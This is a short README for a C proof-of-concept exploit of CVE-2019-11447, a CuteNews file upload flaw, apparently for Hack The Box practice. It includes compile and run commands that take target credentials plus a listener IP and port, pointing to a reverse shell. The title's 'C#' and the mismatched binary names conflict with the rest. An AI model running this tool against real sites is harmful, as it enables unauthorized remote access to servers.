CVE-2019-11447 written in C# CVE-2019-11447 PoC
## Overview
This C program is a proof-of-concept (PoC) for exploiting CVE-2019-11447, an arbitrary file upload vulnerability in CuteNews. This PoC is designed to be used on the Hack The Box platform.
### Usage
Compile the program using gcc:
```bash
gcc -o exploit exploit.c -lcurl
```
Run the compiled program with the following command-line arguments:
```bash
./poc_exploit -t TARGET -u USERNAME -p PASSWORD -lh LISTENER_IP -lp LISTENER_PORT -f FILENAME
```
#### Parameters
-t, --target : Target IP address or domain (required)
-u, --uname : Username (required)
-p, --passw : Password (required)
-lh, --lhost : Listener IP address (required)
-lp, --lport : Listener Port (default: 4444)
-f, --file : Filename for payload WITHOUT extension (default: payload)
#### Example
```bash
./poc_exploit -t example.com -u admin -p pass -lh 192.168.1.1 -lp 4444 -f mypayload
```
[4.0K] /data/pocs/babfff293026cf4ea716fcb095305e3b7c200e80
├── [ 18K] exploit
├── [5.3K] exploit.c
├── [1.5K] LICENSE
└── [ 896] README.md
0 directories, 4 files